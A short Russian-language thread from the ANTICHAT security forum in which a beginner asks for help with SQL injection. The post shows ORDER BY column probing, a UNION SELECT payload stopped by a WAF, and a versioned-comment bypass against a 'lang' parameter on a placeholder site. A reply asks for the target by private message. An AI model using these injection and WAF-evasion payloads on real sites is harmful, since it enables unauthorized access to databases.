HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 26.03.2017, 04:41
ClayFox
Guest
Сообщений: n/a
Провел на форуме:
2822

Репутация: 0
По умолчанию

Всем привет, нужна ваша помощь как так я только учу SQLi, наткнулся с такой проблемой и не знаю как обойти ))

http://site.com/index.php?lang=en' order by 4 --+ -> Unknown column '4' in 'order clause'

http://site.com/index.php?lang=en' order by 3 --+ -> OK

---

http://site.com/index.php?lang=-en' union select 1,2,3 --+ -> WAF

http://site.com/index.php?lang=-en' /*!50000UNION*/ SELECT 1,2,3--+ ->

.SpoilerTarget" type="button">Spoiler: screen


первый раз вижу такую ошибку, если можете помогите пожалуйста
 
Ответить с цитированием

  #2  
Старый 05.04.2017, 03:56
SooLFaa
Guest
Сообщений: n/a
Провел на форуме:
187765

Репутация: 154
По умолчанию

Таргет в лс. Ошибка говорит о неизвестном столбце. Подозреваю что в левой таблице подзапрос, который зависит от результата правого.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ